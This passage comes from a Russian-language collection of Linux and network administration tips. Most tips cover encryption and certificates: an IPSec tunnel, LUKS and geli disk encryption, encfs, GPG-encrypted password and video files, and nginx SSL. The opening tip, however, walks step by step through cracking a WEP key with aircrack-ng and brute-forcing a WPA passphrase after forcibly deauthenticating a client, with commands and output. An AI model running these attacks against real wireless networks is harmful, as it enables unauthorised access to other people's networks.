       wlan0                   rtl8180 - [phy0]
       (monitor mode enabled on mon0)
    
    Определяем BSSID-идентификатор сети:
    
       $ sudo airodump-ng wlan0
    
       BASE:
       BSSID : 00:0F:B5:FD:FB:C2
       Channel: 6
       STATION:
       MAC: 00:13:04:30:FA:EC
    
    Для успешного проведения атаки к точке доступа должна быть подключена хотя бы
    одна активная машина, чем больше трафик у которой, тем быстрее будет подобран ключ.
    
    Включаем режим снифинга и накапливаем статистику. Чем длиннее WEP-ключ тем
    больше пакетов необходимо перехватить (64-битный ключ требует накопления
    примерно 6000 пакетов):
    
       $ sudo airodump-ng -c 6 --bssid 00:0F:B5:FD:FB:C2 -w data-capture wlan0
    
    где, "-c 6" - номер канала беспроводной точки доступа (см. вывод airodump-ng
    wlan0). В опции --bssid указан идентификатор точки доступа, для отсеивания
    лишнего трафика. Все перехваченные пакеты будут сохранены в файле data-capture-01.cap.
    
    После накопления достаточного объема статистики подбираем WEP-ключ (выполняем
    операцию не прерывая процесс снифинга, так как числа перехваченных пакетов
    может не хватить):
    
       $ sudo aircrack-ng -z data-capture-01.cap
    
       Opening data-capture-01.cap
       Read 450 packets.
    
       #  BSSID              ESSID                     Encryption
       1  00:11:95:35:FD:12  test1                WEP (210 IVs)
       2  00:17:3F:62:2E:50  test2                None (0.0.0.0)
    
        Index number of target network ? 1
    
       [00:00:21] Tested 485 keys (got 17690 IVs)
    
       KB    depth   byte(vote)
        0    9/ 13   00(20993) 06(20737) 27(20736) 3F(20736) A2(20736)
        1    0/  1   F3(28417) A8(23298) 34(21248) 57(21248) A3(21248)
        2    0/  2   8E(25857) BC(23809) 3F(23040) D2(22784) 69(21504)
        3    0/  5   6E(24321) 35(2259) 5A(22016) 95(22016) B8(22016)
        4    3/  4   98(21505) 7C(20993) 84(20992) E0(20992) F0(20992)
    
       KEY FOUND! [ 1F:F3:6E:6A:98 ]
       Decrypted correctly: 100%
    
    На выходе получили искомый ключ "1F:F3:6E:6A:98".
    
    
    Подбор простого словарного pre-shared WPA-ключа.
    
    Похожим образом осуществляется подбор WPA-ключа, только для успешного
    завершения подбора требуется значительно больше времени и определенное везение.
    
    После запуска  airodump-ng дожидаемся соединения клиента к сети:
    
       CH  6 ][ Elapsed: 4 s ][ 2007-03-24 16:58 ][ WPA handshake: 00:14:6C:7E:40:80
       ...
        BSSID              STATION            PWR  Lost  Packets  Probes                                             
        00:14:6C:7E:40:80  00:0F:B5:FD:FB:C2   35     0      116  
    
    После чего инициируем деаутентификацию клиента:
    
       $ sudo aireplay-ng -0 1 -a 00:14:6C:7E:40:80 -c 00:0F:B5:FD:FB:C2 ath0
    
       11:09:28  Sending DeAuth to station   -- STMAC: [00:0F:B5:34:30:30]
    
    где, 1 - число отправленных deauth-пакетов, 00:14:6C:7E:40:80 - MAC точки
    доступа, 00:0F:B5:FD:FB:C2  - MAC клиента.
    
    Запускаем процесс подбора ключевой фразы по словарю password.lst.
    
       $ aircrack-ng -w password.lst -b 00:14:6C:7E:40:80 data-capture-01.cap
    
    В случае успеха получаем примерно следующее:
     
       BSSID              ESSID                     Encryption
        1  00:14:6C:7E:40:80  teddy                     WPA (1 handshake)
       
       Choosing first network as target.
       ...
       [00:00:00] 2 keys tested (37.20 k/s)
       KEY FOUND! [ 12345678 ]
     
       Master Key     : CD 69 ...
       Transcient Key : 06 F8 ... 
       EAPOL HMAC     : 4E 27 ...
    
     
    ----* IPSec туннель между Cisco и CentOS Linux   Автор: PsV  [комментарии]
     
    Имеем:
    
    1 Маршрутизатор Cisco 5510 ASA с реальным IP 1.1.1.1 (сеть XXX.XXX.0.0/24)
    2. Маршрутизатор Linux CentOS 5.2 (ядро 2.6.18-92.el5) с установленным
    ipsec-tools-0.6.5-13.el5_3.1 и реальным IP 2.2.2.2 (сеть XXX.XXX.0.0/16)
    
    Конфигурация на маршрутизаторе Cisco:
    
       crypto isakmp policy 5
        encr aes
        authentication pre-share
        group 2
        lifetime 3600
        hash sha
       !
       crypto isakmp key SECRETKEY address 2.2.2.2
       crypto ipsec security-association lifetime seconds 3600
       crypto ipsec transform-set GK esp-aes esp-sha-hmac
       crypto map IPSec 7 ipsec-isakmp
       set peer 2.2.2.2
       set transform-set GK
       set pfs group2
       match address 666
      !
      interface GigabitEthernet0/0.1
       ip address 1.1.1.1 255.255.255.224
       crypto map IPSec
      !
      ip route XXX.XXX.0.0 255.255.255.0 2.2.2.2
      access-list 666 remark asGK
      access-list 666 permit ip  XXX.XXX.0.0 0.0.255.255  XXX.XXX.0.0 0.0.0.255
      access-list 666 deny   ip any any
    
    
    Конфигурация на машине с Linux CentOS:
    
    /etc/sysconfig/network-scripts/ifcfg-ipsec0
    
       TYPE=IPSEC
       ONBOOT=yes
       IKE_METHOD=PSK
       IKE_PSK=SECRETKEY
       IKE_DHGROUP=2
       ESP_PROTO=aes
       AH_PROTO=none
       AESP_PROTO=hmac-sha1
       SRC=2.2.2.2
       SRCGW=XXX.XXX.0.100
       DSTGW=1.1.1.1
       SRCNET=XXX.XXX.0.0/24
       DSTNET=XXX.XXX.0/16
       DST=1.1.1.1
    
    
    /etc/racoon/racoon.conf
    
       path include "/etc/racoon";
       path pre_shared_key "/etc/racoon/psk.txt";
       log notify;
    
       listen
       {
          isakmp 2.2.2.2 [500];
       }
    
       sainfo address  XXX.XXX.0.0/24 any address XXX.XXX.0.0/16 any
       {
           pfs_group 2;
           lifetime time 6400 sec;
           encryption_algorithm aes;
           authentication_algorithm hmac_sha1;
           compression_algorithm deflate;
       }
    
    
    и не забываем про iptables!!
    
    после настройки
    
       #ifup ipsec0
    
    после поднятия ipsec0 можно посмотреть есть ли туннель
    
       #setkey -D
    
       2.2.2.2 1.1.1.1
           esp mode=tunnel spi=3839224802(0xe4d5ebe2) reqid=0(0x00000000)
           E: aes-cbc  c98674dd c1cda3a8 36f39eb5 84fd56b4 192e4acd 7ad470d7 0176919b c955cc38
           A: hmac-sha1  d8e6305b 8b0352ab 249d125f 1515e6a8 136d8896
           seq=0x00000000 replay=4 flags=0x00000000 state=mature
           created: Jul  8 10:19:23 2010 current: Jul  8 10:44:57 2010
           diff: 1534(s)   hard: 86400(s)  soft: 69120(s)
           last: Jul  8 10:19:27 2010    hard: 0(s)        soft: 0(s)
           current: 2160(bytes)    hard: 0(bytes)  soft: 0(bytes)
           allocated: 18   hard: 0 soft: 0
           sadb_seq=1 pid=8863 refcnt=0
       1.1.1.1 2.2.2.2
           esp mode=tunnel spi=111533039(0x06a5dbef) reqid=0(0x00000000)
           E: aes-cbc  3e1f5040 cf6c15d2 8083dc28 aa6006ef df53337f 13b31da2 2782ef5c e46d3567
           A: hmac-sha1  a9553dd3 e9b431a5 534baef8 a2b1f34b cc2b8867
           seq=0x00000000 replay=4 flags=0x00000000 state=mature
           created: Jul  8 10:19:23 2010 current: Jul  8 10:44:57 2010
           diff: 1534(s)   hard: 86400(s)  soft: 69120(s)
           last: Jul  8 10:19:27 2010    hard: 0(s)        soft: 0(s)
           current: 833(bytes)     hard: 0(bytes)  soft: 0(bytes)
           allocated: 18   hard: 0 soft: 0
           sadb_seq=0 pid=8863 refcnt=0
    
    
    Ссылки:
           http://www.opennet.ru/base/cisco/cisco_ipsec_freebsd.txt.html (очень помогла эта статья)
           http://netbsd.gw.com/cgi-bin/man-cgi?racoon++NetBSD-current
    
     
    ----* Добавление сертификата в Chromium (доп. ссылка 1) (доп. ссылка 2)   Автор: silverghost  [комментарии]
     
    После установки Chromium потребовалось импортировать сертификат для работы с
    Webmoney Light. В документации к Chromium рекомендуют использовать команду:
    
       certutil -d sql:$HOME/.pki/nssdb -A -t "P,," -n "WebMoney" -i ./wm.p12
    
    Но такая команда выдает ошибку, по крайней мере в Ubuntu 10.04:
    
       certutil: could not obtain certificate from file: security library: invalid arguments.
    
    Решается эта проблема путем использования другой утилиты:
    
       pk12util -d sql:$HOME/.pki/nssdb -i ./wm.p12
    
    Вышеупомянутые утилиты входят в состав пакета libnss3-tools в Ubuntu/Debian,
    nss-tools в Fedora/RHEL и mozilla-nss-tools в openSUSE.
    
     
    ----* Динамическое подключение шифрованных дисковых разделов   Автор: simplexe  [комментарии]
     
    Задача: Обеспечить шифрование централизованного хранилища с хранением ключей
    шифрования на внешнем USB-носителе (воткнул ключ - работает, вытащил - не
    работает). Пакет truecrypt не подошел из-за особенностей его лицензии и
    отсутствия во многих дистрибутивах. Для шифрования было решено использовать
    dm-crypt, из двух фронтэндов cryptsetup и cryptmount был выбран первый.
    
    
    1. Создаем ключ.
    
    Берём обычный Flash-накопитель на базе интерфейса USB, любого размера.
    Форматируем его в vfat и монтируем:
    
       sudo su -
       mkfs.vfat /dev/sdd1
       mkdir /mnt/usbkey
       mount /dev/sdd1 /mnt/usbkey
    
    Теперь, на него нужно скопировать будущий ключ:
    
       dd if=/dev/random of=/mnt/usbkey/public.key bs=1 count=256
    
    Тут думаю все понятно. Теперь, ключ готов и он на флэшке.
    
    
    2. Шифрование тома.
    У меня хранилище на зеркальном программном RAID'е. У вас может быть по-другому, но смысл тот же:
    
       cryptsetup --verbose -c aes-cbc-essiv:sha256 luksFormat /dev/md0 /mnt/usbkey/public.key
    
    Том зашифрован, подключаем его:
    
       cryptsetup --key-file /mnt/usbkey/public.key luksOpen /dev/md0 public
    
    Ну и форматируем:
    
       mkfs.ext3 -j -m 1 -O dir_index,sparse_super /dev/mapper/public
    
    Всё, он готов.
    
    3. Автомонтирование
    
    После чтения документации, консультаций на irc-канале #archlinux-ru  и
    экспериментов, был подготовлен следующий вариант файла конфигурации для udev /etc/udev/rules.d/10-usb-storage.rules:
    
       # если не sd уходим
       KERNEL!="sd[a-z][0-9]", GOTO="end"
       # если переменная существует, то отмонтируем /public
       ACTION=="remove", ENV{dir_name}=="?*", RUN+="/bin/umount -l /public"
       # если переменная существует, то закрываем ключ
       ACTION=="remove", ENV{dir_name}=="?*", RUN+="/sbin/cryptsetup luksClose public"
       # если переменная существует, то отмонтируем саму флэш
       ACTION=="remove", ENV{dir_name}=="?*", RUN+="/bin/umount -l /mnt/%E{dir_name}"
       # если переменная существует, то удаляем каталог
       ACTION=="remove", ENV{dir_name}=="?*", RUN+="/bin/rmdir /mnt/%E{dir_name}", GOTO="end"
       # проверяем на предмет монтирования
       ACTION=="add", PROGRAM=="/usr/bin/find /mnt/usbkey", RESULT=="/mnt/usbkey", GOTO="end"
       # ищем именно наши флэшки (просто у меня их две - с запасом, а посмотреть uuid можно /lib/udev/vol_id -u /dev/sdd1)
       # и переходим к монтированию, иначе уходим в конец
       ACTION=="add", PROGRAM=="/lib/udev/vol_id -u %N", RESULT=="4B7E-E254", GOTO="mount"
       ACTION=="add", PROGRAM=="/lib/udev/vol_id -u %N", RESULT=="2C3E-F663", GOTO="mount"
       GOTO="end"
       LABEL="mount"
       # опции монтирования и переменная каталога
       ACTION=="add", ENV{mount_options}="ro,utf8,noexec,nodev,noauto", ENV{dir_name}="usbkey"
       # создаем каталог
       ACTION=="add", RUN+="/bin/mkdir /mnt/%E{dir_name}"
       # монтируем ключ
       ACTION=="add", RUN+="/bin/mount -t vfat -o $env{mount_options} /dev/%k /mnt/%E{dir_name}"
       # открываем наш криптованный том
       ACTION=="add", RUN+="/sbin/cryptsetup --key-file /mnt/usbkey/public.key luksOpen /dev/md0 public"
       # монтируем его
       ACTION=="add", RUN+="/bin/mount /dev/mapper/public /public -t ext3 -o defaults"
       LABEL="end
    
    Отладку конфигурации можно сделать так:
    
       udevcontrol log_priority=9999
    
    И смотреть журнал:
    
       tail -f /var/log/messages
    
    В итоге, получим динамически монтируемые тома на основе usbtoken'ов.
    
     
    ----* Доступ к шифрованному файлу паролей (доп. ссылка 1)   Автор: Вячеслав  [комментарии]
     
    В моей сети есть много устройств и служб, доступ к которым осуществляется
    посредством telnet. Обычно, устройства группируются по типу и зачастую имеют
    разные пароли. Запомнить десяток паролей, помимо личных, не всегда легко.
    Привычно хранить пароли внутри шифрованного раздела, хранилища TrueCrypt или
    шифрованного с помощью GPG файла. А пользователям Windows со своей SecureCRT,
    вообще, об этом думать не надо.
    
    Тем не менее использовать SecureCRT можно и в Linux. В моем случае
    (используется шифрованный GPG-файл) неудобство появляется в тот момент, когда
    нужно скопировать пароль в буфер обмена: приходится переключаться с клавиатуры
    на мышь. Это неудобно + если за вашей спиной стоит инженер из другой службы, не
    всегда нужно, чтобы он видел ваши пароли. Выход найден в использовании утилиты xclip.
    
    Но до удобного использования xclip нужно сделать дополнительные манипуляции с
    файлом .bash_aliases. Я дописал в свой .bash_aliases следующее:
    
       # TrueCrypt
       secret ()
       {
           local KEY="$1"
           local FILE="<ПУТЬ К ФАЙЛУ С ПАРОЛЯМИ>"
           echo -ne `awk '/^'$KEY'/ {print $2;exit}' $FILE` | xclip
       }
    
       # GPG
       secret_gpg ()
       {
           local KEY="$1"
           local FILE="<ПУТЬ К ШИФРОВАННОМУ ФАЙЛУ С ПАРОЛЯМИ>"
           echo -ne `gpg -o - $FILE | awk '/^'$KEY'/ {print $2;exit}'` | xclip
       }
    
       alias @="secret_gpg"
    
    Немного о формате файла с паролями. Файл состоит из строк, содержащих ключ и
    текст для копирования в буфер обмена, разделенных пробелами. Например:
    
       cisco true\nDFDFDGDF\n
       dlinka admin\nEEEEEEE\n
       dlinkt technical\nDDDDDD\n
    
    Я использую GPG, поэтому написал алиас для @ как secret_gpg. Вы можете
    использовать secret. Теперь можно делать так:
    
       true@hamster:~$ @ cisco
       true@hamster:~$ telnet router1
    
    
    Разумеется, в последнем примере пароль был не введен вручную, а просто вставлен
    из буфера обмена (в gnome-terminal с помощью Shift+Ins).
    
     
    ----* Хранение конфиденциальных данных в DropBox (доп. ссылка 1)   Автор: silverghost  [обсудить]
     
    Для организации безопасного хранения и синхронизации приватных данных данных при помощи сервиса
    DropBox (http://getdropbox.com) можно задействовать функцию шифрования каталогов. 
    Рекомендации подойдут и для сервиса Ubuntu One (http://one.ubuntu.com)
    
    Ставим DropBox-клиента c https://www.getdropbox.com
    
    После чего в каталог ~/Dropbox переносим все необходимые нам каталоги.
    Например, Документы, Картинки, Рабочий стол.
    
    Если перенесли системные каталоги (перечисленные выше), то на их месте делаем символические ссылки.
    
       ln ~/Dropbox/Документы ~/Документы
       и т.п.
    
    Теперь приступим к шифрованию критически важных данных. Устанавливаем encfs:
    
       sudo apt-get install encfs
    
    и создаем шифрованный каталог:
    
       encfs ~/Документы/.crypt ~/Документы/Encrypted
    
    Таким образом, создаем шифрованный каталог .crypt и монтируем его в Encrypted. 
    В директорию Encrypted  переносим критически важные данные.
    
    В результате чего на серверы сервиса DropBox данные попадут в зашифрованном виде.
    
    На другом компьютере устанавливаем DropBox и encfs и монтируем так же каталоги. 
    В результате получаем постоянно синхронизированные данные на двух компьютерах
    (синхронизация производится в фоне,
    скорость записи данных как у обычной локальной директории).
    
     
    ----* Проверка SSL сертификата из командной строки (доп. ссылка 1)   [комментарии]
     
    Предположим, что нам нужно проверить SSL сертификат сайта www.test.net
    
    Создаем рабочие директории:
    
        mkdir -p ~/tmp/cert
        cd ~/tmp/cert
    
    1. Получаем копию сертификата:
    
       openssl s_client -showcerts -connect www.test.net:443 > test.pem
    
    
    Запоминаем данные из секции "Server certificate", касающиеся утвердившей сертификат организации:
    
       cat test.pem| grep issuer
    
       issuer=/C=US/ST=Arizona/L=Scottsdale/O=GoDaddy.com, Inc./OU=http://certificates.godaddy.com/repository/CN=Go Daddy...
    
    Непосредственно нужный нам сертификат находится в test.pem между метками
    "-----BEGIN CERTIFICATE-----"
    и "-----END CERTIFICATE-----",  удалять лишнее не обязательно, утилиты openssl
    воспримут его и в таком виде.
    
    2. Получаем сертификат удостоверяющего центра, URL которого мы нашли на прошлом шаге в поле issuer:
    
       wget https://certs.godaddy.com/repository/gd_bundle.crt -O gd.pem
    
    3. Создаем символические ссылки на основе сопоставленных им хешей:
    
       c_rehash ~/tmp/cert
    
       Doing  ~/tmp/cert
       test.pem => 1d97af50.0
       gd.pem => 219d9499.0
    
    4. Проверка сертификата.
    
    Удостоверимся, что сертификаты рабочие и загружены корректно:
    
       openssl verify -CApath ~/tmp/cert/ 
    
    или для проверки текущего состояния сайта в сочетании с ранее сохраненными сертификатами:
    
       openssl s_client -CApath ~/tmp/cert/ -connect www.test.net:443 | grep "Verify return code:"
    
       Verify return code: 0 (ok)
    
     
    ----* Настройка работы шифрованного корневого раздела во FreeBSD (доп. ссылка 1)   [комментарии]
     
    Устанавливаем систему стандартным образом в один минимальный корневой раздел,
    для дополнительных разделов
    создаем фиктивные точки монтирования. Таблица разделов имеет примерно такой вид:
    
       ad4s1a / 256M
       ad4s1b swap
       ad4s1d /new-root
       ad4s1e /new-tmp
       ad4s1f /new-var
       ad4s1g /new-usr
    
    Загружаемся в установленную систему.
    
    В /boot/loader.conf добавляем 
    
       geom_eli_load="YES"
    
    Отмонтируем раздел /new-root, который будет содержать новый шифрованный корень:
    
       umount /new-root
    
    Инициализируем шифрование будущего корня и форматируем раздел:
    
       geli init -b -l 256 /dev/ad4s1d
       geli attach /dev/ad4s1d
       newfs -L root /dev/ad4s1d.eli
    
    В  /etc/fstab меняем /dev/ad4s1d на /dev/ad4s1d.eli
    Монтируем шифрованный раздел:
    
       mount /new-root
    
    Создаем ключи для шифрования остальных разделов, заполнив их случайными данными:
    
       dd if=/dev/random of=/new-root/ad4s1e.key bs=512 count=1
       dd if=/dev/random of=/new-root/ad4s1f.key bs=512 count=1
       dd if=/dev/random of=/new-root/ad4s1g.key bs=512 count=1
    
    Отключаем активный раздел подкачки и  шифруем его:
       swapoff -a
       geli onetime -l 256 -s 4096 /dev/ad4s1b
    
    В /etc/fstab меняем для раздела подкачки /dev/ad4s1b на /dev/ad4s1b.eli
    Активируем раздел подкачки:
       swapon -a
    
    Готовим шифрованные разделы tmp, var и usr:
    
       umount /new-tmp
       umount /new-var
       umount /new-usr
    
       geli init -K /new-root/ad4s1e.key -l 256 -P /dev/ad4s1e
       geli init -K /new-root/ad4s1f.key -l 256 -P /dev/ad4s1f
       geli init -K /new-root/ad4s1g.key -l 256 -P /dev/ad4s1g
       geli attach -k /new-root/ad4s1e.key -p /dev/ad4s1e  
       geli attach -k /new-root/ad4s1f.key -p /dev/ad4s1f
       geli attach -k /new-root/ad4s1g.key -p /dev/ad4s1g
    
       newfs -L tmp /dev/ad4s1e.eli
       newfs -L var /dev/ad4s1f.eli
       newfs -L usr /dev/ad4s1g.eli
    
    Формируем будущий образ иерархии монтирования разделов:
    
       cd /new-root
       mkdir tmp
       mkdir var
       mkdir usr
       mount /dev/ad4s1e.eli tmp/
       mount /dev/ad4s1f.eli var/
       mount /dev/ad4s1g.eli usr/
    
    Монтируем установочный диск с FreeBSD и копируем с него в новый корень образ базовой системы:
       mount /cdrom
       cd /cdrom/6.2-RELEASE/base
       cat base.?? | tar --unlink -xpzf - -C /new-root/
    
    Другой вариант скопировать уже установленный корень:
       
       tar -cf - / --exclude /new-root | tar -xf - -C /new-root
    
    Подготавливаем новый корень к загрузке:
    
       mkdir /new-root/mnt/boot
       cp /etc/fstab /new-root/etc/fstab
    
    В /new-root/etc/fstab добавляем разделы для монтирования:
    
        /dev/ad4s1a /mnt/boot ufs rw 1 1
        /dev/ad4s1e.eli / ufs rw 1 1
        /dev/ad4s1d.eli /tmp ufs rw 1 1
        /dev/ad4s1g.eli /usr ufs rw 1 1
        /dev/ad4s1f.eli /var ufs rw 1 1
     
    В /new-root/etc/rc.conf определяем монтирование дополнительных шифрованных разделов:
    
        geli_devices="ad4s1e ad4s1f ad4s1g"
        geli_ad4s1e_flags="-p -k /ad4s1e.key"
        geli_ad4s1f_flags="-p -k /ad4s1f.key"
        geli_ad4s1g_flags="-p -k /ad4s1g.key"
    
    Из старого корня делаем минимальный загрузочный раздел /mnt/boot, в  /etc/fstab оставляем:
    
        /dev/ad4s1d.eli / ufs rw 1 1
    
    Перезагружаемся, чистим содержимое /mnt/boot, оставив только /mnt/boot/boot/* и /mnt/boot/etc/fstab
    
     
    ----* Создание шифрованного загрузочного LiveUSB c Debian GNU/Linux (доп. ссылка 1)   [комментарии]
     
    Добавление Loop-AES шифрования к Debian Live.
    
    Устанавливаем пакет для создания livecd сборки debian (все операции проводятся
    под пользователем root):
    
       apt-get install live-helper
    
    Создаем директорию в которой будем производить сборку (на диске должно быть
    минимум 3 Гб свободного места):
    
       mkdir DebianLive
       cd DebianLive
    
    Определяем конфигурацию LiveCD:
    
       lh_config -b usb-hdd -d lenny -e aes256
    
    При необходимости правим параметры или удаляем/добавляем пакеты через правку
    настроек в созданной директории config/:
    Дополнительные пакеты можно поместить в config/chroot_local-packages/
    Список пакетов из стандартных репозиториев в config/chroot_local-packageslists/
    (готовый список в /usr/share/live-helper/lists/)
    Помещаемые на LiveUSB дополнительные файлы  можно скопировать в config/chroot_local_includes/,
    например для добавления /etc/privoxy/config, его нужно скопировать как config/chroot_local-includes/etc/privoxy/config
    
    
    Запускаем процесс сборки LiveCD:
    
       lh_build
    
    в процессе работы скрипт потребует два раза ввести пароль, под которым будет
    осуществляться доступ к содержимому LiveUSB.
    
    Далее копируем получившийся образ на usb flash /dev/sdc:
    
       dd if=binary.img of=/dev/sdc bs=1M
    
    Шифрование используется для безопасного хранения на LiveUSB таких данных как
    PGP ключи, сохранные в firefox ключи и пароли.
    
    Некоторые полезные опции lh_config:
    -d lenny  - имя релиза (lenny|squeeze|sid)
    -b usb-hdd  - тип итогового образа (iso|net|tar|usb-hdd)
    -e aes256   - тип шифрования (aes128|aes192|aes256)
    --mirror-bootstrap http://192.168.100.1:3142/ftp.de.debian.org/mirror/debian/
    --mirror-chroot http://192.168.100.1:3142/ftp.de.debian.org/mirror/debian/ 
    --mirror-chroot-security http://192.168.100.1:3142/security.debian.org/ 
         перенаправление к локальному apt-proxy
    --debian-installer enabled  - добавить инсталлятор Debian в Live-образ
    --debian-installer-distribution lenny  - выбор дистрибутива для инсталлятора (lenny|squeeze|sid)
    --packages-lists "my_package_list" установить пакеты определенные в config/chroot_locale-packageslist/my_package_list
    --bootstrap-flavour minimal --packages-lists "minimal"  - формирование
    минимального образа, размером около 100 Мб
    
     
    ----* Добавление SSL шифрования для не SSL сайта силами nginx (доп. ссылка 1)   [комментарии]
     
    Ниже представлен пример настройки SSL-акселератора, выполненного средствами http-сервера nginx.
    
    Предположим, что нужно проксировать сайт testhost.ru, размещенный на сервере 192.168.1.1.
    Следующий блок конфигурации определяет работу SSL-акселератора:
    
        server {
             listen 192.168.1.1:443;
             server_name testhost.ru;
             access_log logs/ssl.log main;
    
             ssl on;
             ssl_certificate /certs/ssl.crt;
             ssl_certificate_key /keys/ssl.key;
            
             location / {
               proxy_set_header X-Real-IP $remote_addr;
               proxy_set_header X-Forwarded-For $p roxy_add_x_forwarded_for;
               proxy_set_header Host $http_host;
               proxy_set_header X-FORWARDED_PROTO https;
               proxy_redirect false;
               proxy_pass http://main_site;
            }
        }
    
    В http секции конфигурации определяем сервер который будем проксировать:
    
       upstream main_site {
         server 192.168.1.1:8080;
       }
    
    При желании можно ограничить разрешенный тип шифрования:
    
       ssl_ciphers HIGH:!ADH;
       ssl_perfer_server_ciphers on;
       ssl_protocols SSLv3;
    
    
    Также можно  включить gzip сжатие проксируемого трафика, для этого в 
    http секции добавляем:
    
       gzip on;
       gzip_min_length 1100;
       gzip_buffers 4 8k;
       gzip_types text/plain text/html text/css text/js;
    
     
    ----* Создание шифрованного раздела в Linux (доп. ссылка 1)   [комментарии]
     
    В  CentOS 5.3 добавлена возможность создания шифрованных дисковых разделов на этапе установки.
    Рассмотрим ручное создание шифрованного раздела /dev/sdb3 при помощи dm-crypt/LUKS.
    
    Сryptsetup можно найти в пакете cryptsetup в репозиториях Debian, Ubuntu, SuSE, Fedora и CentOS:
    
    Установка: 
    
       apt-get install cryptsetup
    или
       yum install cryptsetup
    
    Заполняем раздел случайными данными, для удаления остаточной информации:
    
       dd if=/dev/urandom of=/dev/sdb3
    
    Инициализируем шифрованный раздел
    
       cryptsetup luksFormat /dev/sdb3
    
    в ответ на приглашение "Enter LUKS passphrase:" вводим пароль, под которым
    будет производиться доступ к созданному разделу.
    
    Проверяем все ли нормально было создано:
    
       cryptsetup isLuks /dev/sdb3 && echo Sucess
       Sucсess
    
    Смотрим параметры созданного раздела:
    
       cryptsetup luksDump /dev/sdb3
    
       LUKS header information for /dev/sdb3
       Version:        1
       Ciper name:    aes
       Cipher mode:    cbc-essiv:sha256
       Hash spec:      sha1
       ...
    
    Получаем UUID идентификатор раздела для его последующего монтирования без
    привязки к имени устройства:
    
       cryptsetup luksUUID /dev/sdb3
       d77eb752-8a90-4d94-ae9f-2bec0a22c5d3
    
    Подключаем шифрованный раздел, для его последующего монтирования:
    
       cryptsetup luksOpen /dev/sdb3 db
    
       Enter LUKS passphrase: вводим пароль
       key slot 0 unlocked.
       Command successful.
    
    Смотрим параметры расшифрованного устройства /dev/mapper/db, пригодного для монтирования:
    
       dmsetup info db
    
       Name:              db
       State:             ACTIVE
       Read Ahead:        256
       Tables present:    LIVE
       Open count:        0
       Event number:      0
       Major, minor:      253, 1
       Number of targets: 1
    
    Форматируем новый раздел:
    
       mke2fs -j /dev/mapper/db
    
    Создаем точку монтирования:
    
       mkdir /db
    
    Монтируем:
    
       mount /dev/mapper/db /db
    
    Добавляем настройки в /etc/crypttab в последовательности соответствующей
    порядку монтирования разделов:
    
       luks-d77eb752-8a90-4d94-ae9f-2bec0a22c5d3 UUID=d77eb752-8a90-4d94-ae9f-2bec0a22c5d3 none
    
    Добавляем автомонтирование в /etc/fstab (на этапе загрузки нужно будет вводить пароль):
    
       /dev/mapper/luks-d77eb752-8a90-4d94-ae9f-2bec0a22c5d3 /db ext3  defaults 0 0
    
    Для автомонтирования шифрованного раздела должен быть активен системный сервис /etc/init.d/crytdisks
    
    Для отключения раздела нужно использовать:
    
       umount /db
       crytsetup luksClose /dev/mapper/db
    
    Вместо ввода пароля можно сохранить ключ шифрования на USB брелок,
    последовательность примерно такая:
    
    Создаем ключ на flash:
       dd if=/dev/random of=/media/flash/pass.key bs=1 count=256
    
    Инициализируем раздел:
       cryptsetup luksFormat /dev/sdb3 /media/flash/pass.key 
    
    Подключаем раздел:
       cryptsetup --key-file /media/flash/pass.key luksOpen /dev/sdb3 db
    
    В /etc/crypttab вместо "none" добавляем путь к файлу с ключом.
    
     
    ----* Шифрование и просмотр видео (gpg, mplayer)   Автор: borey  [комментарии]
     
    Озадачился такой проблемой.
    Есть несколько видео клипов, которые я бы не хотел чтобы кто нибудь смог увидеть, 
    если украдут или взломают носитель. Частное видео. Но хотелось бы иметь удобный
    способ быстро его просмотреть.
    
    Для себя решил эту задачу просто. Шифровать gpg, а просматривать mplayer ом
    через специальный скрипт.
    
    1. Шифруем симметричным шифром
    
       gpg -c file.avi
    
    2. Для проигрывания используем такой простенький скрипт:
    
       #!/bin/sh
    
       echo  "Enter pass and press <Enter>:"
       stty -echo 
       read pass
       stty echo
    
       for i in $@ ;do
           echo "playing $i ..."
           echo $pass | gpg -d --passphrase-fd 0  "$i" | mplayer - >/dev/null 2>&1
    
       done
    
    Со скриптом конечно возможны варианты. Но меня вообщем устраивает.
    Единственный минус, при таком воспроизведении mplayer скроллить не может (raw режим).
    Если кому то это существенно , надо распаковывать во временный файл. Но так
    проигрываем в безопасности.
    Вообщем мои потребности такое решение удовлетворяет, надеюсь будет кому-то полезно.
    
     
    ----* Создание приватной шифрованной директории в Ubuntu 8.10 (доп. ссылка 1)   [комментарии]
     
    В Ubuntu 8.10 появилась возможность создания в домашней директории пользователя каталога, 
    для хранения приватных данных, хранимых в зашифрованном виде (для шифрования
    используется eCryptfs).
    
    Для включения данной возможности нужно установить пакет ecryptfs-utils:
    
       sudo aptitude install ecryptfs-utils
    
    Создаем директорию для помещения шифрованных данных:
    
       mkdir ~/Private
       chmod 700 ~/Private
    
    Монтируем ecryptfs (http://launchpad.net/ecryptfs) к созданной директории 
    (другой вариант запустить скрипт ecryptfs-setup-private, но он светит открытым
    пароль в списке процессов):
    
        sudo mount -t ecryptfs ~/Private ~/Private
    
    На появившееся приглашение набираем "1" (passphrase) и вводим пароль, который будет использован 
    для доступа к зашифрованной директории. Шифр выбираем по умолчанию (aes/16).
    Режим "passthrough" позволит отображать файлы, записанные в директорию при
    отключении шифрования (до монтирования).
    
    Отмонтируем директорию:
    
       sudo umount ~/Private
    
    Создаем в GNOME ярлык для быстрого монтирования. Жмем на десктопе правой
    кнопкой мыши и выбираем "Create Launcher"/"Создать ярлык".
    
    В параметрах добавляем:
    
        Type: Application in Terminal
        Name: Mount Private Folder
        Command: sudo mount -t ecryptfs ~/Private ~/Private -o
           key=passphrase,ecryptfs_cipher=aes,ecryptfs_key_bytes=16,ecryptfs_passthrough=n  
    
    При этом система в интерактивном режиме перед монтированием запросит пароль для
    расшифровки раздела.
    Вместо "~" нужно прописать полный путь к домашней директории.
    
    Через опцию passphrase_passwd_file можно указать путь к файлу в который
    сохранен пароль (например, его можно положить на Flash).
    Но в этом случае лучше вместо режима passphrase использовать openssl, оперируя
    SSL ключом, а не паролем.
    
    Используя PAM модуль pam_ecryptfs.so можно автоматизировать подключение шифрованного 
    раздела при вхоже в систему, используя стандартный системный пароль в качестве
    ключа для шифрования.
    В /etc/pam.d/common-auth добавляем после pam_unix.so :
    
       auth required pam_ecryptfs.so unwrap
    
    В /etc/pam.d/common-session:
    
       session optional pam_ecryptfs.so unwrap
    
    Для автоматизации настроек и установки можно использовать скрипт ecryptfs-setup-pam.sh
    
     
    ----* Как вытащить из SSL сервиса серверный сертификат (доп. ссылка 1)   Автор: Александр Герасёв  [комментарии]
     
    Команда для того, чтобы вытащить из ssl-enabled сервиса серверный сертификат:
    
       openssl s_client -connect server:port -showcerts
